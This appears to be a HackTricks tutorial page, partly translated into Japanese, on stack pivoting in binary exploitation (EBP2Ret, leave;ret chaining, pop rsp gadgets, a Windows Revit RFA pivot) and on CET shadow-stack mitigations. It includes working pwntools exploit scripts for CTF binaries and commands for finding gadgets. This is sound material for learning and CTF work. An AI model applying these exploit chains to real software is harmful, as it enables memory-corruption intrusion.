Stack Pivoting - EBP2Ret - EBP chaining
Reading time: 20 minutes
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
このテクニックは、フレームポインタと**leave; ret**命令シーケンスを慎重に利用して、ベースポインタ (EBP/RBP) を操作し、複数の関数の実行を連鎖させる能力を悪用します。
参考までに、x86/x86-64では leave は次と等価です:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
And as the saved EBP/RBP is in the stack before the saved EIP/RIP, it's possible to control it by controlling the stack.
Notes
- On 64-bit, replace EBP→RBP and ESP→RSP. Semantics are the same.
- Some compilers omit the frame pointer (see “EBP might not be used”). In that case,
leavemight not appear and this technique won’t work.
EBP2Ret
この手法は、保存された EBP/RBP を改変できるが EIP/RIP を直接変更する手段がない 場合に特に有用です。関数のエピローグ動作を利用します。
もし fvuln の実行中に、スタック上にシェルコードや ROP チェーンのアドレスが置かれているメモリ領域を指すような 偽の EBP を注入できれば(pop を考慮して amd64 ではさらに 8 バイト、x86 では 4 バイトを確保)、間接的に RIP を制御できます。関数が return すると、leave は RSP を作成した場所に設定し、その後の pop rbp が RSP を減らすことで、結果的に攻撃者がそこに置いたアドレスを指すようにします。その後 ret がそのアドレスを使用します。
注意すべきは、2 つのアドレスを知る必要があることです:ESP/RSP が向かう先のアドレスと、ret が消費するそのアドレスに格納されている値。
Exploit Construction
最初に任意のデータ/アドレスを書き込めるアドレスを把握する必要があります。RSP はここを指し、最初の ret を消費します。
次に、実行を転送するために ret が使用するアドレスを選びます。使えるものの例:
- A valid ONE_GADGET address.
- The address of
system()followed by the appropriate return and arguments (on x86:rettarget =&system, then 4 junk bytes, then&"/bin/sh"). - The address of a
jmp esp;gadget (ret2esp) followed by inline shellcode. - A ROP chain staged in writable memory.
制御された領域内のこれらアドレスの前には、leave による pop ebp/rbp のための スペース(amd64 では 8B、x86 では 4B)が必要であることを忘れないでください。これらのバイトを利用して 2 枚目の偽 EBP を設定し、最初の call が戻った後も制御を維持することができます。
Off-By-One Exploit
保存された EBP/RBP の下位バイトのみを変更できる場合に使う変種があります。そのような場合、ret でジャンプするアドレスを保持するメモリ位置は、1 バイトの上書きでリダイレクトできるように元の EBP/RBP と先頭の 3 バイト/5 バイトを共有している必要があります。通常は低位バイト(オフセット 0x00)を増やして、近傍のページやアラインされた領域内でできるだけ遠くへジャンプするようにします。
また、スタックに RET スレッドを置き、本当の ROP チェーンを末尾に置くことで、新しい RSP がスレッド内部を指し、最終的な ROP チェーンが実行される確率を高めるのが一般的です。
EBP Chaining
スタックの保存された EBP スロットに制御されたアドレスを置き、EIP/RIP に leave; ret ガジェットを置くことで、ESP/RSP を攻撃者が制御するアドレスへ移すことが可能になります。
これで RSP が制御され、次の命令は ret です。制御されたメモリには例えば次のようなものを置きます:
&(next fake EBP)-> Loaded bypop ebp/rbpfromleave.&system()-> Called byret.&(leave;ret)-> Aftersystemends, moves RSP to the next fake EBP and continues.&("/bin/sh")-> Argument forsystem.
こうして複数の偽 EBP をチェーンしてプログラムの制御フローを操作することができます。
これは ret2lib に似ていますが、より複雑でエッジケースでしか有用ではありません。
さらに、この手法を stack leak と組み合わせて勝利関数を呼び出す例題のexample of a challengeがあります。以下はそのページの最終ペイロードです:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
amd64 アラインメントのヒント: System V ABI は call サイトで 16 バイトのスタック整列を要求します。チェーンが
systemのような関数を呼ぶ場合、アラインメントを維持してmovapsによるクラッシュを避けるために、呼び出しの前にアラインメント gadget (例:retまたはsub rsp, 8 ; ret) を追加してください。
EBP は使われないことがある
explained in this post の説明どおり、バイナリがいくつかの最適化でコンパイルされているか、frame-pointer omission でビルドされていると、EBP/RBP は ESP/RSP を制御しません。したがって、EBP/RBP を制御することで動作するエクスプロイトは、プロローグ/エピローグがフレームポインタから復元しないため失敗します。
- 最適化されていない / frame pointer が使用されている:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- 最適化 / フレームポインタ省略:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
On amd64ではpop rbp ; retがleave ; retの代わりに使われることがよくありますが、フレームポインタが完全に省略されている場合は、pivotに使えるrbpベースのエピローグが存在しません。
RSP を制御する他の方法
pop rsp gadget
In this page この手法を使った例があります。 そのチャレンジでは、特定の2つの引数で関数を呼び出す必要があり、pop rsp gadgetとstackからの leakがありました:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
ret2esp テクニックはここを確認してください:
Finding pivot gadgets quickly
お好みの gadget finder を使って、classic pivot primitives を検索してください:
leave ; reton functions or in librariespop rsp/xchg rax, rsp ; retadd rsp, <imm> ; ret(oradd esp, <imm> ; reton x86)
例:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Classic pivot staging pattern
多くの CTFs/exploits で使われる堅牢な pivot 戦略:
- 小さな初期オーバーフローを使って
read/recvを大きな書き込み可能領域(例:.bss、heap、または mapped RW memory)に呼び出し、そこに完全な ROP chain を置く。 - pivot gadget(
leave ; ret、pop rsp、xchg rax, rsp ; ret)に戻して RSP をその領域に移動させる。 - ステージングされたチェーンを続行する(例: leak libc、
mprotectを呼び出し、readで shellcode を読み込み、それにジャンプする)。
Windows: Destructor-loop weird-machine pivots (Revit RFA case study)
クライアント側のパーサは、destructor loops を実装しており、攻撃者が制御するオブジェクトのフィールドから派生した関数ポインタを間接的に呼び出すことがある。各イテレーションがちょうど一つの間接呼び出し(“one-gadget” machine)を提供する場合、これを信頼できるスタックピボットおよび ROP エントリに変換できる。
Autodesk Revit RFA の deserialization(CVE-2025-5037)で観測:
AString型の細工されたオブジェクトは、オフセット 0 に攻撃者のバイトへのポインタを置く。- destructor loop は実質的にオブジェクトごとに一つの gadget を実行する:
rcx = [rbx] ; object pointer (AString*)
rax = [rcx] ; pointer to controlled buffer
call qword ptr [rax] ; execute [rax] once per object
Two practical pivots:
- Windows 10 (32-bit heap addrs): misaligned “monster gadget” that contains
8B E0→mov esp, eax, eventuallyret, to pivot from the call primitive to a heap-based ROP chain. - Windows 11 (full 64-bit addrs): use two objects to drive a constrained weird-machine pivot:
- Gadget 1:
push rax ; pop rbp ; ret(move original rax into rbp) - Gadget 2:
leave ; ... ; ret(becomesmov rsp, rbp ; pop rbp ; ret), pivoting into the first object’s buffer, where a conventional ROP chain follows.
Tips for Windows x64 after the pivot:
- Respect the 0x20-byte shadow space and maintain 16-byte alignment before
callsites. It’s often convenient to place literals above the return address and use a gadget likelea rcx, [rsp+0x20] ; call raxfollowed bypop rax ; retto pass stack addresses without corrupting control flow. - Non-ASLR helper modules (if present) provide stable gadget pools and imports such as
LoadLibraryW/GetProcAddressto dynamically resolve targets likeucrtbase!system. - Creating missing gadgets via a writable thunk: if a promising sequence ends in a
callthrough a writable function pointer (e.g., DLL import thunk or function pointer in .data), overwrite that pointer with a benign single-step likepop rax ; ret. The sequence then behaves like it ended withret(e.g.,mov rdx, rsi ; mov rcx, rdi ; ret), which is invaluable to load Windows x64 arg registers without clobbering others.
For full chain construction and gadget examples, see the reference below.
スタックピボットを無効化する現代的な緩和策 (CET/Shadow Stack)
近年、モダンな x86 CPU と OS は CET Shadow Stack (SHSTK) を導入することが増えている。SHSTK が有効な場合、ret は通常のスタック上のリターンアドレスとハードウェア保護されたシャドウスタック上のアドレスを比較し、不一致があれば Control-Protection fault を発生させプロセスを終了させる。したがって、EBP2Ret/leave;ret ベースのピボットのような手法は、ピボットしたスタックから最初の ret が実行されると即座にクラッシュする。
- For background and deeper details see:
- Linux 上での簡易チェック:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
labs/CTF の注意事項:
-
一部の最新ディストリビューションでは、ハードウェアと glibc のサポートがある場合に CET 対応バイナリ向けに SHSTK を有効にします。VM での制御されたテストでは、カーネルのブートパラメータ
nousershstkを使ってシステム全体で SHSTK を無効化するか、起動時に glibc の tunables を介して選択的に有効化できます(参照を参照)。本番対象での緩和策を無効化しないでください。 -
JOP/COOP や SROP ベースの手法は一部のターゲットでまだ有効な場合がありますが、SHSTK は特に
retベースのピボットを破壊します。 -
Windows note: Windows 10+ はユーザーモードの保護を公開し、Windows 11 は shadow stacks を基盤としたカーネルモードの “Hardware-enforced Stack Protection” を追加します。CET 対応プロセスは
retでのスタックピボット/ROP を防ぎます;開発者は CETCOMPAT や関連ポリシーを通じてオプトインします(参照)。
ARM64
ARM64 では、関数のプロローグとエピローグはスタックに SP レジスタを保存・復元しません。さらに、RET 命令は SP が指すアドレスにリターンするのではなく、x30 の中のアドレスにリターンします。
したがって、デフォルトではエピローグを悪用してもスタックのデータを書き換えることで SP レジスタを制御することはできません。たとえ SP を制御できたとしても、x30 レジスタを制御する手段が必要になります。
- プロローグ
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
- エピローグ
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
caution
ARM64 におけるスタックピボットに類する操作を行う方法は、あるレジスタの値が SP に渡されることによって SP を制御できる(あるいは何らかの理由で SP がスタックからアドレスを取ってきてオーバーフローが発生する)ことと、その後エピローグを悪用して制御された SP から x30 レジスタをロードし、RET することです。
Also in the following page you can see the equivalent of Ret2esp in ARM64:
参考
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bits、ret sled で始まる rop チェーンを使った off by one のエクスプロイト
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit、no relro、canary、nx、pie。プログラムはスタックまたは pie の leak と qword の WWW を与える。最初にスタック leak を取得し、WWW を使って戻って pie leak を取得する。次に WWW を使って
.fini_arrayエントリを悪用し__libc_csu_finiを呼ぶことで永続的なループを作成する(more info here)。この「永続的」な書き込みを悪用して .bss に ROP チェーンを書き込み、RBP を使ってピボットしてそれを呼び出す。 - Linux kernel documentation: Control-flow Enforcement Technology (CET) Shadow Stack — SHSTK、
nousershstk、/proc/$PID/statusフラグ、およびarch_prctlによる有効化の詳細。 https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
- Crafting a Full Exploit RCE from a Crash in Autodesk Revit RFA File Parsing (ZDI blog)
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks